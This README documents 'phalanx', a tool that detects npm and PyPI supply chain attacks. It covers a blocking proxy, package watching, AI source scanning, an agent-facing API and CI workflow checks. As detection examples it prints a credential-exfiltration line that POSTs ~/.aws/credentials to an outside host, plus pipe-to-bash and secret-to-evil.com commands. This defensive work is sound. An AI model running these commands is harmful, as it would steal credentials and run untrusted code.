Community-powered supply chain attack detection
The phalanx formation was unbreakable because every soldier protected the one beside them.
This tool works the same way — every contributor adds a signature, the wall gets stronger.
npm audit missed the Axios attack completely.
March 2026. North Korean RAT. 100 million weekly downloads. Deployed on developer machines within 2 seconds of npm install.
Traditional tools check CVE databases. They don't watch behavior.
Phalanx scored it 87/100 CRITICAL within 60 seconds of publish.
Developer types: npm install some-package
│
▼
┌─────────────────────┐
│ phalanx proxy │ ← intercepts BEFORE download
│ localhost:9874 │
└────────┬────────────┘
│ scans metadata + 6 behavioral signals
│ checks 18 community signatures
▼
┌─────────────────────┐
│ score 0 - 100 │
└────────┬────────────┘
│
┌─────────┴──────────┐
score < 70 score ≥ 70
│ │
▼ ▼
install proceeds BLOCKED
(CLEAN shown) (nothing downloads)
No other free tool sits here. npm audit runs after install. Dependabot bumps versions. Socket.dev requires a paid GitHub App. Phalanx blocks at the registry level, free, with community signatures anyone can write.
| layer | attack surface | command | status |
|---|---|---|---|
| 0 | IDE — before typing npm install | VS Code extension | coming |
| 1 | Source code / GitHub commits | scan-repo |
✔ built |
| 2 | CI/CD pipeline workflows | scan-ci |
✔ built |
| 3 | Package registry | scan watch proxy |
✔ core |
| 4 | Dependency confusion | confuse-check |
✔ built |
| 4 | AI zero-day code analysis | ai-scan |
✔ built |
| 4 | AI agent protection | serve |
✔ built |
| 5 | Infrastructure / DNS / CDN | — | coming v0.4 |
| 6 | Developer machine agent | — | Enterprise |
go install github.com/Mah3sec/phalanx/cmd/phalanx@latestRequires Go 1.21+. 18 signatures embedded in the binary — no extra setup needed.
phalanx --version # phalanx v0.3.0
phalanx test # ✔ All 6 tests passed
phalanx signatures # shows all 18 loaded signaturesPre-built binaries (no Go needed):
# macOS Apple Silicon
curl -sSfL https://github.com/Mah3sec/phalanx/releases/latest/download/phalanx-darwin-arm64 \
-o /usr/local/bin/phalanx && chmod +x /usr/local/bin/phalanx
# macOS Intel
curl -sSfL https://github.com/Mah3sec/phalanx/releases/latest/download/phalanx-darwin-amd64 \
-o /usr/local/bin/phalanx && chmod +x /usr/local/bin/phalanx
# Linux
curl -sSfL https://github.com/Mah3sec/phalanx/releases/latest/download/phalanx-linux-amd64 \
-o /usr/local/bin/phalanx && chmod +x /usr/local/bin/phalanx# 1. scan any package before installing
phalanx scan axios
# 2. start proxy — every npm install auto-scanned from now on
phalanx proxy &
npm config set registry http://localhost:9874
# 3. check your project's CI workflows for attack patterns
phalanx scan-ci .Fetches registry metadata and runs 6 behavioral checks. Results in 3-5 seconds.
# npm packages
phalanx scan axios
phalanx scan lodash
phalanx scan axios@1.14.1 # specific version
# python packages — add pypi: prefix
phalanx scan pypi:requests
phalanx scan pypi:litellm
phalanx scan pypi:litellm@1.82.7 # specific version
# save output
phalanx scan axios --save report.txt # plain text, shareable
phalanx scan axios --save-json report.json # JSON with full trace + mitigation
phalanx scan axios --json # JSON to stdout (for scripts)What the output looks like for a critical package:
█▌ CRITICAL ▐█
NPM axios
version 1.14.0 → 1.14.1
published 2026-03-31 00:21 UTC (just now)
score 87 / 100 [█████████████████···]
4 signals detected
[1] ✖ Publisher Email Changed +50 pts
📍 Source npm registry → _npmUser.email field
🔍 How found compared email between versions — domain changed
🧾 Evidence jasonsaayman@gmail.com → ifstap@proton.me
🛡 Mitigation
1. do not install this version
2. check GitHub for official release announcement
3. rotate all credentials if already installed
[2] ✖ Publish Method Changed +40 pts
📍 Source npm registry → _npmOperationalInternal.host
🧾 Evidence prev: s3://npm-registry → curr: (manual CLI)
[3] ✖ New Dependency Added +45 pts
🧾 Evidence plain-crypto-js@^4.2.1
[4] ⚠ Missing Git Head +20 pts
🧾 Evidence previous version had gitHead: f6e5d4c3b2a1
! CRITICAL — DO NOT INSTALL
→ Rotate ALL credentials if this was already installed
→ Check outbound network logs for unknown C2 domains
Exit codes: 0 clean · 1 warning · 2 critical
# use in scripts
phalanx scan axios || echo "DO NOT INSTALL"
if phalanx scan axios --json | python3 -c "import sys,json; sys.exit(0 if json.load(sys.stdin)['score']<70 else 1)"; then
npm install axios
fiPolls packages every 60 seconds. Fires an alert the moment a suspicious new version appears. Run on a server or leave in a terminal window.
# watch npm packages
phalanx watch axios lodash express react typescript
# watch npm + python together
phalanx watch axios lodash pypi:requests pypi:boto3 pypi:litellm
# custom settings
phalanx watch axios --interval=30s # poll every 30 seconds
phalanx watch axios --threshold=70 # only alert on score ≥ 70 (default: 40)
# run in background, log to file
phalanx watch axios lodash express >> ~/phalanx.log 2>&1 &What an alert looks like:
14:03:01 CLEAN npm axios@1.14.0 score=0 [····················]
14:04:01 CRITICAL npm axios@1.14.1 score=87 [█████████████████···]
✖ Publisher Email Changed +50 pts
↳ jasonsaayman@gmail.com → ifstap@proton.me
✖ New Dependency Added +45 pts
↳ plain-crypto-js@^4.2.1
✖ Publish Method Changed +40 pts
⚠ Missing Git Head +20 pts
Run as a systemd service (Linux server):
sudo tee /etc/systemd/system/phalanx.service << 'EOF'
[Unit]
Description=phalanx supply chain monitor
After=network-online.target
[Service]
Type=simple
ExecStart=/usr/local/bin/phalanx watch axios lodash express pypi:requests pypi:boto3
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl enable --now phalanx
sudo journalctl -u phalanx -f # live logsRuns a local server between npm and the real registry. Every npm install is scanned automatically. Score ≥ 70 = install blocked before a single byte downloads.
Step 1 — start the proxy:
phalanx proxyOutput:
phalanx proxy
port 9874
threshold 70/100 — score ≥ this = blocked
dry-run false
configure npm:
npm config set registry http://localhost:9874
to revert:
npm config set registry https://registry.npmjs.org
Step 2 — point npm at it (one time):
npm config set registry http://localhost:9874Step 3 — install packages normally:
npm install lodash # → scanned → CLEAN → installs
npm install axios@1.14.1 # → scanned → CRITICAL → BLOCKED
# error shown when blocked:
# npm error 403 Forbidden
# phalanx: install blocked — axios@1.14.1 scored 87/100
# signals: publisher_email_changed (+50), new_dependency_added (+45)
# run: phalanx scan axios for full detailsOptions:
phalanx proxy --port 9000 # different port
phalanx proxy --threshold 50 # block anything scoring 50+
phalanx proxy --dry-run # warn but never block (safe to try)
phalanx proxy --allow puppeteer # never block this package
phalanx proxy --allow puppeteer,sharp,esbuild # comma-separated allowlistRun in background:
nohup phalanx proxy > ~/phalanx-proxy.log 2>&1 &
# revert npm to normal registry
npm config set registry https://registry.npmjs.orgDownloads the real package tarball and sends the source files to Claude for deep behavioral analysis. Catches zero-day attacks that no signature knows about yet.
The LiteLLM attack (March 2026) used a .pth file that executed on every Python interpreter start and survived package removal. AI catches this by actually reading the code — no signature needed.
Setup — requires Anthropic API key:
export ANTHROPIC_API_KEY=sk-ant-api03-...
# get a key at: console.anthropic.comUsage:
# npm packages
phalanx ai-scan axios
phalanx ai-scan axios@1.14.1
# python packages
phalanx ai-scan pypi:litellm
phalanx ai-scan pypi:litellm@1.82.7
# takes 30-60 seconds — reads actual source filesWhat it analyzes:
package.json,setup.py,pyproject.toml— manifest files- Postinstall and preinstall scripts
.pthfiles — Python persistence mechanismindex.js,main.js,setup.js— main entry points- Any file named "install", "setup", or "init"
What the AI looks for:
- Credential theft — code reading
~/.ssh/,~/.aws/,.env, API keys - Data exfiltration — outbound HTTP to external servers
- Persistence —
.pthfiles, cron jobs, shell profile modifications - Obfuscation —
eval(),base64, hex encoding hiding intent - Process execution — spawning shells, running system commands
Example output:
█▌ CRITICAL ▐█
🤖 AI summary
This package writes a .pth file to Python site-packages that executes
on every Python interpreter start, even after the package is removed.
It exfiltrates credentials to an external C2 server.
[1] ✖ persistence
Writes litellm_init.pth to site-packages — survives uninstall
🧾 Evidence
import subprocess; subprocess.run(['curl','-X','POST',
'https://models.litellm.cloud/collect', '-d', open(
os.path.expanduser('~/.aws/credentials')).read()])
🛡 Mitigation
Do not install. Rotate all cloud credentials immediately.
Check site-packages for unexpected .pth files:
python3 -c "import site; print(site.getsitepackages())"
! CRITICAL — DO NOT INSTALL
→ AI detected malicious code in the actual package source
Runs a local REST API that AI coding agents (Claude Code, Cursor, Devin, GitHub Copilot) can query before every package install. The agent asks phalanx "is this safe?" and respects the answer.
Start the server:
phalanx serve
# starts on http://localhost:9875Output:
phalanx agent API running on http://localhost:9875
endpoints:
GET /check?pkg=axios&ver=1.14.1&eco=npm fast check (~2s)
GET /scan?pkg=axios&ver=1.14.1&eco=npm deep AI scan (~30s)
GET /health status
signatures: 18 loaded
ai enabled: false (set ANTHROPIC_API_KEY to enable /scan)
Fast check endpoint — 2 seconds:
curl "http://localhost:9875/check?pkg=axios&ver=1.14.1&eco=npm"{
"package": "axios",
"version": "1.14.1",
"ecosystem": "npm",
"safe": false,
"score": 87,
"verdict": "CRITICAL",
"action": "block",
"signals": [
"publisher_email_changed (+50 pts)",
"publish_method_changed (+40 pts)"
],
"message": "DO NOT INSTALL: axios@1.14.1 scored 87/100..."
}Deep AI scan endpoint — 30 seconds:
export ANTHROPIC_API_KEY=sk-ant-...
curl "http://localhost:9875/scan?pkg=litellm&ver=1.82.7&eco=pypi"{
"package": "litellm",
"version": "1.82.7",
"score": 95,
"verdict": "CRITICAL",
"summary": "Package writes .pth file that exfiltrates credentials...",
"findings": [
{
"type": "persistence",
"severity": "critical",
"description": "Writes .pth file to site-packages",
"evidence": "litellm_init.pth found in package"
}
]
}Health check:
curl http://localhost:9875/health
# {"status":"ok","signatures":18,"ai_enabled":true}Options:
phalanx serve --port 9000 # different port
phalanx serve --threshold 50 # flag anything scoring 50+For Claude Code — add to system prompt:
Before running npm install or pip install for any package,
call GET http://localhost:9875/check?pkg={package_name}&eco={npm or pypi}.
If the response contains "safe": false or "action": "block",
do NOT install the package and explain the risk to the user.
For any AI agent (simple check):
import requests
def is_safe_to_install(package, version="", ecosystem="npm"):
try:
r = requests.get(f"http://localhost:9875/check",
params={"pkg": package, "ver": version, "eco": ecosystem},
timeout=10)
data = r.json()
return data.get("safe", True), data.get("message", "")
except:
return True, "" # fail open if phalanx not running
safe, reason = is_safe_to_install("axios", "1.14.1")
if not safe:
print(f"BLOCKED: {reason}")
else:
os.system("pip install axios")Scans recent commits and contributors for supply chain attack signals.
# public repo — no token (60 req/hour limit)
phalanx scan-repo axios/axios
phalanx scan-repo github.com/axios/axios # both formats work
# with GitHub token — 5000 req/hour
export GITHUB_TOKEN=ghp_your_token
phalanx scan-repo axios/axios
# or inline
phalanx scan-repo axios/axios --token ghp_xxxGet a GitHub token:
- Go to github.com/settings/tokens/new
- Note:
phalanx - Check
public_repo - Generate and copy
What it detects:
- Commits with suspicious keywords (backdoor, payload, exfil, RAT)
- Commits from anonymous or ProtonMail/privacy email addresses with no GitHub account
- Unexpected changes to
package.jsondependencies - Single-contribution accounts with security-sounding usernames
When to use:
- Before adding a new open source dependency
- After a high-profile breach to check repos you depend on
- Before contributing to a project
Reads every CI/CD workflow file in a repo and flags attack patterns.
Supports: GitHub Actions, GitLab CI, CircleCI, Jenkinsfile.
phalanx scan-ci . # current directory
phalanx scan-ci /path/to/repo # any directory
phalanx scan-ci .github/workflows/build.yml # single fileWhat it detects:
| pattern | risk | example |
|---|---|---|
curl | bash or wget | sh |
critical | curl attacker.com/setup.sh | bash |
| Secret sent to external URL | critical | curl -d $API_KEY https://evil.com |
Unpinned action @main |
high | uses: actions/checkout@main |
| Typosquatted action | critical | uses: @acitons/artifact |
eval() in pipeline |
high | eval "$USER_INPUT" |
| Known exfil domains | critical | webhook.site, ngrok.io, requestbin |
| npm scripts explicitly enabled | medium | npm install --ignore-scripts=false |
Use as a pre-commit hook:
cat > .git/hooks/pre-commit << 'EOF'
#!/bin/bash
phalanx scan-ci .
if [ $? -eq 2 ]; then
echo "phalanx: CRITICAL issue in CI workflow — commit blocked"
exit 1
fi
EOF
chmod +x .git/hooks/pre-commitReads your manifest and checks if internal-looking package names are registered on the public registry. If not — an attacker could register that name today and your CI would pull their version.
phalanx confuse-check package.json
phalanx confuse-check requirements.txt
phalanx confuse-check requirements-dev.txtWhat it flags:
- Scoped packages with unknown scope:
@mycompany/auth-service - Names with internal keywords:
internal,private,corp,local - Names not found on public npm or PyPI
Example output:
! 1 HIGH RISK package found
✖ @mycompany/auth-service (npm)
scoped package — NOT found on public npm
→ Attacker could register this name today
→ Register a placeholder package immediately to claim the name
The fix: Register an empty placeholder package for every internal package name. Claiming the name blocks attackers permanently.
18 signatures covering every major supply chain attack from 2018 to 2026.
All embedded in the binary — no internet access needed, always available.
phalanx signatures # list all 18 signaturesAll 18 signatures:
| id | year | severity | what happened |
|---|---|---|---|
event-stream-2018-11 |
2018 | critical | Ownership transfer → bitcoin wallet theft, 8M downloads/week |
ua-parser-js-2021-10 |
2021 | critical | Account hijack → cryptominer + stealer, used by Apple/Microsoft |
node-ipc-2022-03 |
2022 | critical | Maintainer sabotage → file destruction for Russian IPs |
xz-utils-2024-03 |
2024 | critical | 2-year social engineering → SSH backdoor (CVE-2024-3094) |
rspack-2024-12 |
2024 | critical | Stolen CI token → cryptominer, 500k downloads/week |
mut8694-roblox-2024-10 |
2024 | high | 18 packages targeting Roblox developers |
s1ngularity-nx-2025-08 |
2025 | critical | CI exploit → 2,349 secrets stolen from 1,079 systems |
reviewdog-actions-2025-03 |
2025 | critical | Tag mutation → cascading CI secret theft |
eslint-config-prettier-2025-08 |
2025 | critical | Phishing → Dependabot auto-spread to 14,000 packages |
shai-hulud-worm-2025-09 |
2025 | critical | First self-propagating npm worm — 500+ packages |
chalk-debug-2025-09-08 |
2025 | critical | Phishing → crypto wallet hijacker, 2.6B downloads/week |
phantomraven-typosquat-2025-10 |
2025 | critical | 126 typosquats with 24MB infostealer |
acitons-artifact-typosquat-2025-11 |
2025 | high | Typosquat → GitHub Actions CI token stealer |
solana-pypi-2025-05 |
2025 | critical | Monkey-patching → Solana private key theft |
teampcp-campaign-2026-03 |
2026 | critical | Trivy + KICS + LiteLLM coordinated attack |
litellm-pypi-2026-03 |
2026 | critical | .pth persistence → 500k creds stolen, K8s lateral movement |
telnyx-pypi-2026-03 |
2026 | critical | Steganographic WAV payload delivery |
axios-2026-03-31 |
2026 | critical | DPRK RAT — 100M downloads, North Korean operation |
Write a new signature in 5 minutes:
cp signatures/axios-2026-03-31.yaml signatures/new-package-YYYY-MM-DD.yaml
# edit 7 fields, open a PRMinimum valid signature:
id: package-name-2026-04-10
name: Short description of what happened
severity: critical
ecosystem: npm
package: package-name
published: 2026-04-10
author: your-github-usernameOpen a PR at github.com/Mah3sec/phalanx — merged within 24 hours of a new attack.
# .github/workflows/phalanx.yml
name: phalanx supply chain scan
on:
pull_request:
paths:
- "package.json"
- "requirements*.txt"
- ".github/workflows/*.yml"
jobs:
phalanx:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: install phalanx
run: go install github.com/Mah3sec/phalanx/cmd/phalanx@latest
- name: scan npm dependencies
if: hashFiles('package.json') != ''
run: |
node -e "
const p = require('./package.json');
const deps = Object.keys({...p.dependencies,...p.devDependencies});
let failed = false;
deps.forEach(d => {
const r = require('child_process')
.spawnSync('phalanx',['scan',d,'--json'],{encoding:'utf8'});
const out = JSON.parse(r.stdout||'{}');
if (out.score >= 70) { console.error('CRITICAL: '+d); failed=true; }
});
if (failed) process.exit(2);
"
- name: scan CI workflows
run: phalanx scan-ci .
- name: check dependency confusion
if: hashFiles('package.json') != ''
run: phalanx confuse-check package.jsonExit code 2 = critical = pipeline fails = PR cannot merge.
Every scan returns a risk score 0-100.
0 40 70 100
├─────────┼─────────┼─────────┤
CLEAN WARNING CRITICAL
The 6 behavioral signals:
| signal | weight | real example that triggered it |
|---|---|---|
| Publisher email changed | +50 pts | gmail.com → proton.me (Axios 2026) |
| Publish method changed | +40 pts | CI/OIDC → manual CLI (Axios 2026) |
| New dependency injected | +25–45 pts | plain-crypto-js added (Axios 2026) |
| Postinstall hook present | +30 pts | node setup.js (PhantomRaven 2025) |
| Missing git tag | +20 pts | no matching GitHub commit (Axios 2026) |
| Obfuscated script content | +40–45 pts | eval, base64, hex encoding |
Score uses diminishing returns — two 50pt signals = ~75, not 100. Prevents false critical alerts from coincidences.
Reducing false positives:
Some packages legitimately use postinstall (puppeteer downloads Chrome, sharp compiles native binaries):
phalanx proxy --threshold 70 # only block confirmed critical
phalanx proxy --allow puppeteer # always allow specific packagesphalanx scan <pkg> check one package now
phalanx scan <pkg> --save X save report to file
phalanx watch <pkg1> [pkg2...] watch continuously — 24/7 monitoring
phalanx proxy intercept all npm installs before download
phalanx ai-scan <pkg> AI reads actual package source code
phalanx serve REST API for AI agents (Claude Code, Cursor)
phalanx scan-repo <owner/repo> scan GitHub repo commits + contributors
phalanx scan-ci <path> scan CI/CD workflow files
phalanx confuse-check <file> check for dependency confusion risk
phalanx signatures list all 18 community signatures
phalanx test verify detection engine works
phalanx demo replay the Axios 2026 DPRK attack offline
phalanx --version show version
MIT licensed. Free to use including in commercial products.
Community signatures are MIT. By contributing you protect everyone — same model as Nuclei/ProjectDiscovery.
Phalanx Enterprise — separate commercial product:
- Hosted dashboard + team management
- Slack, PagerDuty, JIRA integrations
- Private signature repositories
- SOC2 compliance reporting
- SLA-backed support
The phalanx was an ancient Greek battle formation — a wall of shields where every soldier protected the one beside them. Unbreakable because it worked as a collective, not as individuals.
Every signature contributed makes the wall stronger for every other developer.
Most valuable: write a signature for a real attack. See CONTRIBUTING.md.
Code: detection signals in internal/analyzer/, new registry support in internal/poller/.
Signatures based on public research by Elastic, Microsoft, Socket.dev, StepSecurity, Snyk, Wiz, Semgrep, Checkmarx, Sonatype, Datadog Security Labs, and the open source security community.